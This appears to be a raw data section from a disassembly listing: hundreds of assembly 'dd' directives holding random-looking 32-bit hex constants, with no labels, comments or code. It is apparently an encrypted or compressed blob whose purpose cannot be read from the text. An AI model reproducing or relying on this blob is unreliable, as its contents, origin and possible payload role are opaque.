		dd 9C6B2E47h, 0F4001B23h, 0ABA2F1ADh, 0FB382632h, 0C4691681h
		dd 0C39AAC6Ch, 0B4FD9D33h, 6ED71ABDh, 4A804D87h, 9B3D6BDDh
		dd 0B5E62EA9h, 0F3816602h, 675C0EAFh, 0B19D8B60h, 73AB71Eh
		dd 0B0804BB7h, 1660179Fh, 0A05D04C2h, 8450D7C7h, 19CBBB8Ah
		dd 53C25F25h, 4DCDB7Eh,	0D98D01C4h, 0A5B09717h,	0B82AAD20h
		dd 0C5D52793h, 8756CE1Ah, 0DC8BD469h, 0D148A00h, 8409A153h
		dd 0AE9226Eh, 466FBB5h,	0B814BD4Bh, 0B6A75FB1h,	3CC900B5h
		dd 49EC7A0Bh, 202DCD90h, 0D72727A8h, 888DFEF4h,	0F0FDA66Eh
		dd 0E7C6623h, 0D7640560h, 0E3BFC165h, 3DAD4CF6h, 22E60396h
		dd 0BC503555h, 19D6EFFh, 0B74A1307h, 2A3A67A6h,	94748480h
		dd 0A9D3CCB8h, 1AFB841h, 99295110h, 6B7F03F4h, 413DABF0h
		dd 613E3402h, 45FA1497h, 0F1C26A12h, 8A500124h,	626C28D9h
		dd 742BF946h, 0AE0457F6h, 0D3B8F838h, 19BD29C1h, 3E305904h
		dd 8200B1B3h, 38A4DF18h
		dd 500085EDh, 362371BEh, 3C033B0Eh, 20CA7DF4h, 192A0163h
		dd 2C48527h, 0A1A45DAh,	0A8D80136h, 2E5B61BDh, 0F26BBD75h
		dd 0B0149773h, 78893A45h, 89732B09h, 1F789BA3h,	55D0A2BBh
		dd 62237F27h, 0C6052D75h, 71FEDF49h, 79F06988h,	53E92BC4h
		dd 0B04B6CB8h, 0C7BF1C31h, 601AE41Eh, 83D09h, 0C9114B7Ah
		dd 24659D2Bh, 0B1C5FB95h, 11BD118h, 0F5C95090h,	504970A8h
		dd 2EF805FFh, 4C489D31h, 9A2FC740h, 0ECEE9E8h, 3A0B892Bh
		dd 2F7D8604h, 0E2506104h, 8D9B005Ah, 0A2F94831h, 0A14F03A3h
		dd 63C3EA2Dh, 0C22879A8h, 16112F5Ch, 53FB2173h,	0E085B660h
		dd 92923B2h, 46A6CEBBh,	0D1446D5Ch, 104D26EFh, 46FDA5F3h
		dd 0C78102FCh, 4C58BC0Ch, 35E9D556h, 0CA689FAFh, 12D962B1h
		dd 0DE50C832h, 48E4C607h, 2EB5B2h, 21190EC4h, 521C0085h
		dd 0BD2BD1FFh, 67951D69h, 513B11F2h, 2A0DC917h,	19C8F2CFh
		dd 0FCFB83C0h, 0EEFB016h, 50FAD380h, 6492C234h,	0E95690D4h
		dd 96950E8Eh, 9AD12FC7h, 82D05ADBh, 7AA50028h, 746DD8C6h
		dd 0B5792964h, 9D0490B9h, 9EAA0235h, 0E99882A4h, 9D87614h
		dd 8E565BFAh, 4E1A46D6h, 5FE90232h, 0EB0CFE6Eh,	7290B1BDh
		dd 390D1DBBh, 0F87BA5Bh, 0D973ED3Bh, 0BDCC67Ch,	860F3A28h
		dd 834278E4h, 0E9FC25Fh, 230BE802h, 0D5D8E5C9h,	0EC046693h
		dd 2D8D5F95h, 0EDA111FFh, 19329779h, 16A637DFh,	1F8EC1B6h
		dd 61EA609Fh, 60343297h, 9F0DB929h, 0DE6988D9h,	6A27D43Dh
		dd 0AD75D9ECh, 1C655FF8h, 548CFF53h, 822900B8h,	2E41457Fh
		dd 0CA6F2C5Fh, 772A209Eh, 5813229Eh, 111672F7h,	0E862BD18h
		dd 2F8C4841h, 27CCDA25h, 890F11F5h, 205A8832h, 1F3D7654h
		dd 176D8D00h, 29582B5Eh, 0D21A1AE2h, 43D7B0h, 70E6D614h
		dd 990B1EB0h, 0F9A07112h, 91394B24h, 0C013129h,	4534B829h
		dd 41950D21h, 2A0ED5ACh, 203FF2D9h, 12DCAB9Bh, 0CE605F07h
		dd 0FC5254Bh, 0BB8220AAh, 202C9703h, 60255174h,	0BD8D314Ah
		dd 4E5AA829h, 0C82BDF12h, 0A4038B08h, 4B49162Fh, 80924513h
		dd 1F986475h, 0D6615A57h, 55F388D1h, 6F28FC00h,	9FDA0321h
		dd 82E72491h, 0F038025Ch, 73D9E949h, 0DF54D701h, 0ED60424Ah
		dd 0ED254FC5h, 0B0788021h, 9747E6EEh, 997630Ah,	0DE562221h
		dd 15955E4Bh, 5B25B8A5h, 122C62C9h, 0E57BC151h,	0E95F3586h
		dd 449F1B78h, 141F0038h, 0D531980h, 20068A8h, 44EAF4BAh
		dd 18DA267Eh, 48327264h, 69D60A19h, 51CB7CECh, 0E5DB9B18h
		dd 80EED33Dh, 0C060914Eh, 76675Ch, 1C3EA262h, 0DEB768FDh
		dd 34C5F71h, 0E6B57091h, 28842299h, 0A36FA794h,	2803F985h
		dd 483DA52Bh, 0E7092FFEh, 3BDC8919h, 4BD9AA4Ch,	107B8A1Dh
		dd 8159272Ah, 3FA3E55Ah, 0B6C52F9Bh, 0E6D630E5h, 0A725D421h
		dd 0BF67CE06h, 44251F35h, 538025ABh, 0B17795E4h, 852A6500h
		dd 28637CD7h, 1CD6049Ch, 0A40817B9h, 2F4BE1BEh,	0BA305389h
		dd 0DE1841B1h, 0D970F35Bh, 43A500E3h, 4F6DF597h, 5995870Fh
		dd 0A79A407Ah, 91C3BBCh, 0E3EEC02Bh, 277C5969h,	0EF8BA5E1h
		dd 89F7EFA0h, 0CD5BE825h, 6735A775h, 209F780h, 4F87F5D1h
		dd 80229BCDh, 0F3EE7BDh, 0CBD704FAh, 0B8F8494Dh, 16F938Eh
		dd 0A8C8EB13h, 1E34C0DAh, 4FED6DB3h, 0F94B75F5h, 0E66EA9D3h
		dd 0C4D7007Ah, 0FD8414BFh, 26BAB30Ch, 1E6D096Bh, 535A815Ch
		dd 5095535Eh, 0B2924069h, 81F6F4F0h, 5E638AA0h,	0AB359F05h
		dd 4BB2DBFh, 92AE1E5h, 44F471F9h, 0C7804147h, 0F7C2B814h
		dd 0B69C94BDh, 7FC14F8Bh, 5010888Eh, 4ED2DF6Ch,	0B938CADh
		dd 1A04E1ADh, 64BB4005h, 976546C6h, 9D44FE14h, 0D91497F5h
		dd 7520AA45h, 0BF1BC071h, 1056C278h, 44BA1497h,	0E9FA2B5Ch
		dd 74198BB7h, 7C02DEE1h, 0FAADDF57h, 0B1B682EDh, 0B8F40C03h
		dd 4725812h, 0B62FC1E1h, 0CED7E087h, 0F1664E10h, 39983F54h
		dd 14FD209Dh, 0DBCB8B95h, 0A6BC70DEh, 630E6E13h, 7C4F3C0Fh
		dd 0EBE42592h, 0AE73BD69h, 7D09D8h, 0BF7C13A1h,	725B5D67h
		dd 9D66CE95h, 2740244Dh, 26F44354h, 17B9E380h, 19CB8C81h
		dd 342E2D41h, 0F3D8AF0Fh, 0D36554BDh, 26519D90h, 39920900h
		dd 2EC80AE2h, 9B9F53Bh,	5138E954h, 6813AA02h, 0F8F05B52h
		dd 0ED744AB7h, 75D9208Fh, 0DAF96B90h, 212625Eh,	608D23B3h
		dd 0DBF33F40h, 3CBE0860h, 2465C995h, 7E178A13h,	0AC006DB2h
		dd 0F4A34180h, 360003DDh, 0EC34C62Eh, 1456483h,	615E22D8h
		dd 2B49B750h, 0EFA0245Bh, 52121F7Eh, 738C95FDh,	1A26B77Ah
		dd 0BF60315Ah, 7A9C26F6h, 79379729h, 4A1CDD00h,	1218D99Ah
		dd 0A35BF957h, 0CF8103D8h, 0F54CB66Eh, 5EF2BDB1h, 0CB5CE902h
		dd 0E9742701h, 0FBC201EBh, 2A5D7862h, 63FE6D0Eh, 0DC440432h
		dd 0A99305BCh, 0E21EBC3Dh, 0CD4D4B75h, 5A6E6A16h, 53EB1931h
		dd 35302F1Bh, 4A45BD33h, 0D76EE201h, 0B8A09BE6h, 91BC0689h
		dd 0F0E43ADCh, 86F3A6E1h, 76E326F5h, 12C4DF4Bh,	0D024C6Bh
		dd 0B2C147BFh, 6B6063C1h, 0BBCF9B20h, 21821DC3h, 413A8058h
		dd 3CE4AA55h, 0EC849700h, 2373DBB3h, 4B70BEh, 665E4013h
		dd 610F56B9h, 2942AEB6h, 0EB4CD515h, 0D9F8DD01h, 0BD9F56AEh
		dd 6C275EC2h, 0D301CBE6h, 3BFE68CCh, 0EE74241h,	5E38014Ch
		dd 30726FF7h, 0FC94D07Ch, 7A6348A3h, 72091D27h,	70A5B259h
		dd 90F48833h, 78BB0066h, 12BF50FAh, 0EEEB052Ah,	0E705FF3h
		dd 0B2780292h, 4DECBE05h, 0C7007E66h, 6E418544h, 7F1353F7h
		dd 1862CB6h, 9EE51569h,	6A735F25h, 61181459h, 2690F6DFh
		dd 0B407384Ch, 0DB38A39Eh, 809879B7h, 9518F18h,	6CC51EAEh
		dd 5C0038C4h, 0EDF1BED0h, 4AB5EB44h, 0A82C3271h, 9D801E57h
		dd 9303FBB5h, 9AB97F86h, 0C1B0FEB5h, 2F201985h,	8A182638h
		dd 5E8A4B98h, 0E4AC2003h, 0ED8F790Eh, 316B9ADh,	0B8D1D49Dh
		dd 1E94EB00h, 0AD0AAD16h, 30C9E977h, 0B7A5046Fh, 0A3FAB8D8h
		dd 0DA7BA5EBh, 59A14300h, 8B14FB1Bh, 16D04BE7h,	0DFFD03BBh
		dd 0E8006CE8h, 1B8763A9h, 5083F419h, 5F7DE32Ch,	23F46F23h
		dd 7750AD14h, 0C6250B9Eh, 5ABB0429h, 0BA1055E0h, 5C65E582h
		dd 26376C4Ah, 6B0F5C82h, 8D103F4Ch, 963E1C59h, 0B882B9F8h
		dd 9F4B2D9Eh, 844D6750h, 0F0353EC3h, 50BF4BD8h,	0E2A6BE9h
		dd 763F0CA7h, 9500EFB2h, 0B1A956E0h, 67F4021Dh,	4A5B7B5Eh
		dd 89C0B85Eh, 0B718299Dh, 1EE2D7B0h, 0AA509100h, 0B05E9A11h
		dd 0BB8497D4h, 0A4D3B809h, 52D78CFEh, 5B4BE5B8h, 7ABEBF94h
		dd 0D90071BAh, 9785EA17h, 4CB05057h, 8273EE23h,	0D26EC256h
		dd 0EC8F3A8h, 565B9780h, 471DC2h, 5893C79Ch, 263EEC81h
		dd 8C9CF57Eh, 0D44A56E9h, 15103302h, 5CDBD7CAh,	9D024C5h
		dd 0A9732EC5h, 0A8B52Dh, 65116F18h, 8018330h, 0CFCBD381h
		dd 342E5B5Fh, 0C47BACADh, 9EEE26B3h, 0FCE08017h, 5ACA9805h
		dd 4BD9ECDCh, 9801D7CCh, 27024EF5h, 0C1384948h,	0CC95BF0Fh
		dd 0D29DA00Dh, 21964F5Ah, 0C8A06EE4h, 504F5C20h, 3D005EA2h
		dd 0CA8A47ABh, 0F9009356h, 84235FCBh, 9D83D1E8h, 38378D10h
		dd 4068639h, 0B3492C34h, 965F3481h, 3BB9842Dh, 0BB796D1h
		dd 13AEDC47h, 9BF2D28h,	4D9F0872h, 31827F71h, 5703B59Dh
		dd 2E44511Ch, 80DA058Bh, 0F096B2CBh, 6F45A307h,	11A33Ah
		dd 0D928764Dh, 3A2D37FEh, 72340DB0h, 0F4238734h, 95C8B42Ch
		dd 0C5461D41h, 0A8BD9FA4h
		dd 0E010C80h, 902F7F4Ch, 12215EACh, 567CB3D2h, 0B5A5F08Bh
		dd 4B02148Bh, 2B8154F9h, 440601BDh, 5A6DAD33h, 0D3122417h
		dd 658857B2h, 1BA9B541h, 8F9A4B0Eh, 67455D80h, 0CA0D1209h
		dd 0FF698D29h, 5C718502h, 27C61C8Ah, 26DE47DCh,	8AD7D8Ch
		dd 93A0F09h, 5C233985h,	0B5F5DA0Ah, 7EA40377h, 0AE807C86h
		dd 4B7AC5Fh, 0E90331F9h, 3C97F2FFh, 154BF116h, 269A58Dh
		dd 34E23FA9h, 0A71E1270h, 0E3B2E0h, 0C9B02946h,	4525CFh
		dd 53AD2E7Fh, 7AC42C41h, 81B51897h, 641805EFh, 0AD903716h
		dd 50D8C782h, 8D9FA37h,	0F912F99Eh, 0ED5EAAEDh,	5AAABCECh
		dd 293AE0CCh, 5959983h,	3AD0A52Ah, 0AAD2C39Bh, 1B051112h
		dd 21FB1D91h, 3DE8AB4Dh, 163ABCCCh, 0C8D2514Bh,	0C904017Bh
		dd 0E6FAF6Eh, 6E4B2CBCh, 0EE97093Fh, 3A627823h,	86A75290h
		dd 505B6098h, 0B8E179F9h, 0F6C401A8h, 0E8465B27h, 0D0B268B3h
		dd 1B1510E1h, 0E54F9890h, 4D77E29Eh, 4532E0C5h,	0F8518B86h
		dd 7AD46BE6h, 805A2AABh, 4948A1B0h, 4F3804E6h, 8196026Ch
		dd 41FB99Eh, 0ADD383B9h, 0E3A85Eh, 274AA3EFh, 0FF0CC9BFh
		dd 3B6ED15Bh, 0FAF44A00h, 9FBB0E4Eh, 6026EB14h,	56512AFh
		dd 868895F3h, 9F7B58AFh, 89D370CAh, 165588h, 81026A61h
		dd 5618A9C3h, 1D1E5BD6h, 0F564951Eh, 0F4FB709h,	0F85131h
		dd 0D869961Bh, 0F6032536h, 0B521A966h, 15A5B8EFh, 0E07B178Dh
		dd 780D04DDh, 0D100AB88h, 0E769BB50h, 90682523h, 0D00716B7h
		dd 8F00A32Dh, 2C89BCDDh, 92B52FBh, 0A75C1FF9h, 7227E9E8h
		dd 53E92596h, 0B1C2A771h, 9AF709ABh, 17047C94h,	790B01F2h
		dd 2F43F52Dh, 15DA9D74h, 9005D6CFh, 0FBA33556h,	0AF364BC0h
		dd 3B670087h, 53DF1DCAh, 350307BBh, 475AC8A3h, 0A8BC8C5Fh
		dd 90F94D02h, 6A759589h, 4DB6FF09h, 1DCBE9Ch, 5DBF05DBh
		dd 2F7DC0E3h, 1623596Bh, 162CF05h, 615999BEh, 273C6276h
		dd 0C0E14DFFh, 0CC57E55h, 2BFD7E8h, 0E0A6B773h,	0BF091943h
		dd 0E7D0D9F3h, 99BD006Eh, 4D62E3A0h, 0B197DE7Ah, 0DF49FE6Dh
		dd 0D9B8CAA0h, 50410CCAh, 0FE8B6195h, 3816DA97h, 50C097E3h
		dd 71E45B16h, 812865BEh, 314A9F8h, 0A7DB131h, 71C947A5h
		dd 16DC23C5h, 63B821ADh, 6779D9C9h, 0E19D0305h,	3FC136B4h
		dd 0D2986660h, 20F0883Eh, 5661042Dh, 0D8BF8B7Ah, 0D9445E5Ch
		dd 2CD18B06h, 1167C309h, 0D18933E9h, 0C970D42Eh, 9085D879h
		dd 5C821E3Dh, 8853122Fh, 6900C2F7h, 0F1DCA04Ch,	9130C3h
		dd 73A4F8D2h, 0F781089Ah, 0C168EC03h, 615B5F1Dh, 0A2BF6840h
		dd 424A2F74h, 65A47D11h, 503DE943h, 69218517h, 925D8D24h
		dd 49476045h, 0C252A327h, 0C5115E03h, 0E36C431Ch, 0A5F21808h
		dd 5AFE2086h, 24097383h, 7B2FE7CBh, 310C0805h, 0CD5C1025h
		dd 6A060012h, 0B0B4619Fh, 992F8589h, 314A7918h,	6A330512h
		dd 0B92F7DB7h, 5BAFF0FEh, 5F3870B0h, 0B3E3365Bh, 95DDD34Ah
		dd 0CA2C04CAh, 3DC10CEBh, 0F70EC02Bh, 0A6E5293Bh, 21180D2h
		dd 0CF4ACD58h, 0D0C15FA8h, 946F9D89h, 5A69ADEEh, 12BCEEEDh
		dd 8766D1Ch, 0CE96A4C9h, 176DB7D6h, 0B529614Eh,	2D2E25CDh
		dd 266A7F4Fh, 73609A00h, 14B8E316h, 4B8A7B4Bh, 26C380C0h
		dd 0B725FA8Ah, 1327C5F3h, 0A1A770h, 0AB618C5Fh,	0E052D72Bh
		dd 86BB3BA4h, 9A364700h, 0D10306FDh, 0DD6E1095h, 656D079Bh
		dd 0E0DB2344h, 0A3677F54h, 78DA4201h, 6160BA2Ah, 252BAD21h
		dd 8C8EEC56h, 4C5B4A2h,	9D0B5F45h, 5BCBB0FDh, 0F3E1897h
		dd 0D750A28Fh, 5BC9C690h, 6A67D001h, 0E9401566h, 7CB8DB20h
		dd 0E1FF000Eh, 4DC8DB81h, 14973036h, 5292050h, 0C5FB8B25h
		dd 1F351A51h, 3CB75Fh, 9286BCA4h, 0EB0BE2A0h, 840B7D1Bh
		dd 5049087Ch, 0B1C5C24h, 1311D45Fh, 0B3F6E819h,	0BF34BC86h
		dd 0DA00BC6Ah, 0E35BB2FEh, 58198CBFh, 95701AECh, 0BE605574h
		dd 0B901DC4Eh, 1A7B6F82h, 61343DD1h, 0B1EAD2F7h, 7EC93A9Fh
		dd 261ACB7Fh, 0B9088856h, 957F3F0Eh, 0F29FD1E4h, 7CB7000Ah
		dd 62B01C43h, 5A3B5DCCh, 219989BAh, 88A07005h, 0D4B91Ah
		dd 93D0E77Fh, 0C8A130B3h, 97379800h, 1D2CE819h,	91249701h
		dd 0A0DEBE1Fh, 0A562CBC0h, 5712FBACh, 602CDD4h,	5513ED85h
		dd 9D76C314h, 6E9C1B4Bh, 0F503FFCh, 566042DBh, 0BCD65F52h
		dd 50DC5B69h, 0FC13C79Fh, 2E7B922h, 60BF0BA1h, 8409559h
		dd 38EC0268h, 0D88B03B9h, 1307A854h, 8B99A63Bh,	0AFBD74F1h
		dd 27D339Ah, 5CED8DD1h,	0F7EF2F0Bh, 1F36F260h, 9497000Ch
		dd 8EABBE2Ah, 0E91CDE8Ah, 0D42702A8h, 6000DEF1h, 18E01078h
		dd 0B8D20DADh, 27692557h, 0B4C09856h, 0C189B2h,	0D93419DBh
		dd 14536AE2h, 0B971940Bh, 0C1875670h, 0A2181BDh, 946E4Fh
		dd 4EA3132Eh, 9F3152D5h, 3AD58642h, 0E0716DA8h,	356E2F1Eh
		dd 6153401h, 0EFDBD0Bh,	8494BB00h, 0C6168825h, 7A02B35Bh
		dd 8994405Fh, 0DC359C06h, 3CBC1A04h, 15AEA80Fh,	0AA92AA53h
		dd 61D94DCDh, 0B6B2D5F2h, 0AE506EF3h, 45460B6Eh, 0FC04D652h
		dd 3402BAF9h, 0C0B5FFBFh, 27199A7Fh, 10FB6106h,	4A611378h
		dd 69F3B360h, 816159D8h, 49306EBBh, 3C293A52h, 303B532Fh
		dd 7D2C48D2h, 8E8DA601h, 0C3FFB9F6h, 0F1FBDCh, 3D0AF920h
		dd 0F5B73CBh, 4BBF3158h, 0DDE256D5h, 8E1F4E60h,	0B4014FF0h
		dd 5B6BA8B6h, 0FAF087DAh, 0DCBA091Ah, 98C237D3h, 543832DFh
		dd 0DFD0407Fh, 3104B26Ch, 61991B07h, 0BB035FE9h, 463B3C74h
		dd 196007CFh, 0BDA74457h, 0E42F7D5Bh, 14BC0133h, 0DB639D6Fh
		dd 1005F143h, 4B0DD3Bh,	5F5E565Dh, 57F08861h, 0ECB758EEh
		dd 0ADC704B2h, 0B85CE83Ah, 0BCDCD1D2h, 0C2804807h, 26299508h
		dd 0DBB70F00h, 92565390h, 318B964Fh, 0E4C5BFD2h, 0DCCB41ECh
		dd 2DB8C451h, 85D4703Fh, 611DCC40h, 6A6197CAh, 0B8903990h
		dd 9A754B16h, 0C017C8F0h, 0F57198E2h, 61A7619Dh, 0B4E9333Fh
		dd 0FFC3F612h, 0AED2BCE3h, 0F2008B6Bh, 6A737492h, 0C613CA1Ah
		dd 17898928h, 22021452h, 16D75F53h, 9D307046h, 57D0115Bh
		dd 0D7ED3F82h, 0F6FEF380h, 21E928C2h, 23047F8Ah, 0EEDCB80Dh
		dd 0E198E696h, 3B385C22h, 540A616h, 0AE0975D7h,	0D6C93738h
		dd 1B47B05Dh, 2B8F9C97h, 0DBCB03B6h, 3B59E212h,	0AA79A8h
		dd 0A62CE19h, 1675E848h, 0C2935377h, 0F60C3226h, 29F125C3h
		dd 9295C1C6h, 3A377F2Fh, 647801BDh, 0CB81FC8Ah,	4BC254E8h
		dd 1D88D2Fh, 41FB1A0h, 1D25B904h, 441FFD13h, 912BDDC7h
		dd 91288401h, 0CE9521E2h, 77CBC462h, 898EB9D3h,	0B2D7CBFh
		dd 0A9D33165h, 17B6E6D0h, 0A12BE780h, 80532BACh, 0BAA5EAB7h
		dd 0B8802261h, 0F94AB339h, 0EBE85Bh, 1E36B3F9h,	2A359C9Dh
		dd 0BE0558B0h, 707655F0h, 18C79201h, 952B6163h,	0F616BB5Fh
		dd 8211AFA9h, 9EE15E03h, 0CC78342Bh, 87090D42h,	78F37715h
		dd 5F0F40C7h, 57891A97h, 7C2FE341h, 1D089E3Fh, 0D8743233h
		dd 8509EBB0h, 1613D120h, 0ACA9BB66h, 31AD1245h,	7BA7AFEh
		dd 0D3883301h, 528BE570h, 7F7E48ACh, 132EE110h,	1CA35096h
		dd 8B704B58h, 0E229E6F5h, 16DB7C50h, 0A3BFAC39h, 0CD1A1053h
		dd 315F0F12h, 9684D68Dh, 0BFC071ACh, 42FBC69Ch,	5BEB8012h
		dd 0EC9373E2h, 6EAE4AACh, 5F0170F3h, 0BD03594Eh, 0ED2A2799h
		dd 0EFBB1CC9h, 0FA57B789h, 707CBB41h, 270608E0h, 1A79BD89h
		dd 0EF801660h, 0F3AA3059h
		dd 8E15EB87h, 81928CC4h, 15F98D29h, 0BC87752Eh,	0AB868097h
		dd 1D696636h, 85C9B988h, 255DE1A4h, 0DD370423h,	0D177B90Dh
		dd 12E6BC98h, 45C9112h,	0B80E4D1Eh, 2993E296h, 2F90100Bh
		dd 0ECF01E3Dh, 0A27FA900h, 3862A4F9h, 0AA47008Bh, 0AB5AD43Eh
		dd 3A97DF4Ah, 0D4277CABh, 0B04A920Ch, 2FC10CA0h, 0BDE4D74Dh
		dd 2F1D9A00h, 2A212437h, 5BB13B9h, 1427A02Dh, 0F5FFD09h
		dd 0D4664A8Dh, 0C69EC3B1h, 4CDBAA85h, 0EA5501C0h, 0E5AE8DBh
		dd 0B52797A0h, 17E4CE6Fh, 0BABB067h, 9F5AE99Bh,	0B629CBB1h
		dd 0DD0B9EB8h, 78F94A75h, 8B2E4086h, 4F92C14Dh,	0A6D254E9h
		dd 926A041h, 0C45500E3h, 90C59C4Dh, 5007DE8Ah, 5FF98B57h
		dd 0C1E8ED8Bh, 20FE31EBh, 2551ED4Fh, 2E362150h,	16BB3D25h
		dd 0F85ABDFEh, 94DA02B6h, 0F275F5AFh, 0BABB8882h, 0F88A0EC0h
		dd 0ED920997h, 601C0CDh, 4605DC1Fh, 17FD9D2Bh, 410D1AF4h
		dd 16B77C05h, 0E84E09Ah, 6232CCEBh, 227D9000h, 15980630h
		dd 0E3650602h, 9089C4D1h, 98800F2Fh, 609ECF9Bh,	0BD291A32h
		dd 1697224Dh, 58C09B62h, 380147B9h, 7E6914B6h, 0D239E371h
		dd 0B921C9C4h, 7856C967h, 0E45F4A0Eh, 2341FDB9h, 0EFDBAC84h
		dd 0A229B89Ah, 0B2022971h, 9FD5241Dh, 891491ADh, 3FD164B8h
		dd 2FF3697Ah, 215122BFh, 0EBB35005h, 0BF5BE49h,	0BE29D528h
		dd 5D93D494h, 39A7C958h, 87051FA5h, 0C139F8BDh,	12C21F3h
		dd 8E2B54E9h, 0BAC51EF4h, 78DC5BA5h, 0B7971B86h, 0EF4889E9h
		dd 1AF1B802h, 0AF706555h, 0A2006935h, 685F3AFh,	0FBC427DBh
		dd 0BA1FA5E4h, 94C04DA9h, 2DF557E2h, 939E00F6h,	0F781E061h
		dd 2900FD6Ch, 99BF5F24h, 9C09B0A7h, 46D838C3h, 30A85B27h
		dd 3D67A4DFh, 7A5389CBh, 6E02917Ah, 0DB37EC48h,	94998685h
		dd 0A479AC5Fh, 9226ABFh, 0A7C29E97h, 5CF9C9C5h,	0CECD5AD5h
		dd 95D3560h, 4B3D4ABDh,	8F53FFB3h, 3E27DC70h, 0F68E7651h
		dd 0BB606F47h, 67418783h, 0BE76B0A2h, 0C922FD0Bh, 5D6D357Fh
		dd 4A4CF25Ah, 0C82A62D9h, 0C6B5879Ah, 0B0FA2D93h, 2C4D0340h
		dd 9870E680h, 24AB55Dh,	0BF136056h, 0BA623EEh, 0BDD14D5Eh
		dd 132EFBB7h, 0B530BA4Fh, 4A398D09h, 59C0E604h,	0C157409Eh
		dd 0A624B2D6h, 0D06754ACh, 0B35C0995h, 8FD8A42h, 26410CD8h
		dd 7AC5D13Dh, 2E47E9DFh, 0A608799Dh, 0FC331A7h,	16227E81h
		dd 28C3200Eh, 0ED00427Ch, 35B7EF97h, 75B2953h, 0D78032F0h
		dd 9D3160BFh, 12970F19h, 4B0DDE78h, 6A2510F5h, 4A1B0542h
		dd 0F205CBAFh, 94F00096h, 2EF86C4Dh, 78060010h,	0A41EBF46h
		dd 260D8BC9h, 585F5D0Dh, 0D21CCC6Ah, 60199F00h,	621142F8h
		dd 4F60063h, 48BC66E3h,	1EE6201Ah, 60983A97h, 0A58AB3Ch
		dd 3AE9747Ah, 24C562B7h, 3312DD29h, 0B9319524h,	9E1F8892h
		dd 16A594F9h, 0B5C9FE28h, 95B2534Bh, 7404AC93h,	3075226Bh
		dd 41A1DCAAh, 28D45C82h, 86539583h, 3A181659h, 0B9B84805h
		dd 0F72108AAh, 0D9131595h, 0A4FCC829h, 0A3FBE880h, 8AB676h
		dd 0CF26AD93h, 5B9EEE38h, 0D7694F02h, 0EDFCCC70h, 5EA1EF2Ah
		dd 4185661Ah, 6A1F8DB2h, 8B53E2D9h, 7BFA85BAh, 896A021Fh
		dd 503E32A9h, 0B6245A6Fh, 0CBB7C4F2h, 0CDC389DBh, 0D2AC0F05h
		dd 0F15C5B2Fh, 6D8C044Bh, 818060EEh, 0BA1224F3h, 0B7E64E60h
		dd 0C53018B2h, 689F4CDEh, 604CCD5Ah, 2960F1D5h,	0AE5CDF71h
		dd 0E24E4A71h, 2BB6F411h, 4B11BDA0h, 0C0FCCD95h, 0F1C2A27Eh
		dd 0D100C975h, 0E781EB59h, 135E6EBBh, 0EABD0316h, 0DE24B52h
		dd 7E48768Dh, 56F011F6h, 0F20B8067h, 7EAF2F85h,	0AAAF24F4h
		dd 68BD9546h, 60970801h, 0FA201096h, 0B0558AD5h, 9CADBD55h
		dd 0E1FF09A1h, 1500EA51h, 0BC2B92B3h, 0DAB850DFh, 6D58249Fh
		dd 91A00952h, 5B421379h, 0D2010704h, 1CD7126Dh,	27636941h
		dd 0C8C0D9CDh, 0B634C0h, 0BD2B1928h, 9D0BACB4h,	0BC061D20h
		dd 0CC52534h, 0EC25F21Dh, 5B4B0089h, 0E2798BFAh, 0CB28BECAh
		dd 67000EE9h, 4729E77Eh, 27AFC2A8h, 0E1E25F93h,	82953D72h
		dd 5C01B7DCh, 90D427AFh, 55B60269h, 0B5C52E2Bh,	2633AE2Eh
		dd 0BE8D85FBh, 0A697D97Ch, 12C4F395h, 0B8097D9Ah, 0CC8FA20Dh
		dd 973D6BDBh, 3413BDF0h, 33BA5024h, 94006062h, 0D6EB9F7h
		dd 7612E51h, 0AF27BB90h, 0B96AF5B5h, 1E9BC86h, 3A754D3Fh
		dd 3B8596DFh, 3720D000h, 0E46C2968h, 48B72FDBh,	0D61D8FF8h
		dd 0B727F597h, 0C1E90029h, 317B9C3Bh, 0DF507BB8h, 84BCD90h
		dd 5AF9C19Ch, 1000A689h, 0E9092629h, 90DB024Eh,	6DC87D0h
		dd 0BC068C2Eh, 0A12D66E8h, 0B1D25B1Ch, 2E244998h, 880F8671h
		dd 0BF36253Fh, 418A5F16h, 73C26125h, 0B0773B77h, 12840CEh
		dd 5E7E2CF3h, 0EF0C2F4Ch, 0FAA286A0h, 0A3C9EC04h, 60B9DF8Bh
		dd 7D8C15ACh, 0F5C6C6CEh, 0BD31DF0Ah, 689D309h,	0E1F01476h
		dd 58CEE9A5h, 16A73325h, 0D0B62935h, 1CA98D9Dh,	2A6C1397h
		dd 0B5E3DD12h, 0F45C6246h, 0C77B0387h, 0C18D0408h, 2CD0AC97h
		dd 782E09D0h, 19A5250h,	0B1BF40DDh, 2288024Ch, 310FEBCDh
		dd 585A2E60h, 9FA25398h, 23B77Dh, 6C209B7h, 0D5092D9Ah
		dd 0A2B2993Fh, 57B5FF5Ch, 4702DB3Fh, 6040BC1Eh,	841BC98Ah
		dd 7668DF07h, 2A9588Eh,	2E028929h, 0F2D461E9h, 0C100D54Bh
		dd 0AAE69B80h, 5A3BD701h, 616B7FA8h, 0B06B103Ah, 0E31B4712h
		dd 61705025h, 38BF1D40h, 0A25307Ah, 37952AC4h, 687B82B9h
		dd 0A36BB4DFh, 990CF27h, 3A9AD15Eh, 46487880h, 4C40120Fh
		dd 6630E902h, 707CEEBFh, 0C31C86Eh, 0DB8A0E80h,	2CCF348h
		dd 0FDE3F1FCh, 8471FE55h, 0DF366225h, 5D049237h, 2AAE889Eh
		dd 0E1BC8B27h, 5700019Eh, 0C127CF80h, 23A0415Fh, 0E2D6103h
		dd 59DC0935h, 8635EB3Dh, 3A3C5985h, 190C02FBh, 12551B8Ch
		dd 78E8753Eh, 1709F361h, 598DAA94h, 93A4770h, 863DDDh
		dd 34B0FEE8h, 3627A026h, 101456FDh, 27E9130Bh, 0F34D1688h
		dd 9FDF8100h, 2316D412h, 4FBA45E3h, 0D10B2D6Ah,	55021FA1h
		dd 3002FF5h, 972A59BDh,	8725471Ch, 35EBD04h, 0E6A1A659h
		dd 80E78180h, 7028AA13h, 0D252DB8h, 4E0B6DC7h, 0C023D404h
		dd 10D8237h, 0F03D3Fh, 0D76BD4B5h, 7D1C6792h, 0E3F301B4h
		dd 6ED5D3BFh, 0D6D37C21h, 0EDD324ADh, 40A1A87Ch, 354B5DFFh
		dd 0BF345D9Dh, 15CE951Fh, 0A5B795h, 4B2E3588h, 0A30977C5h
		dd 8ECDFB92h, 4D8197BDh, 1B657CD2h, 0E50BE62Ah,	90466FB9h
		dd 0ABFE8A12h, 18236E6Bh, 2DC57025h, 6F28675h, 37D5918Ah
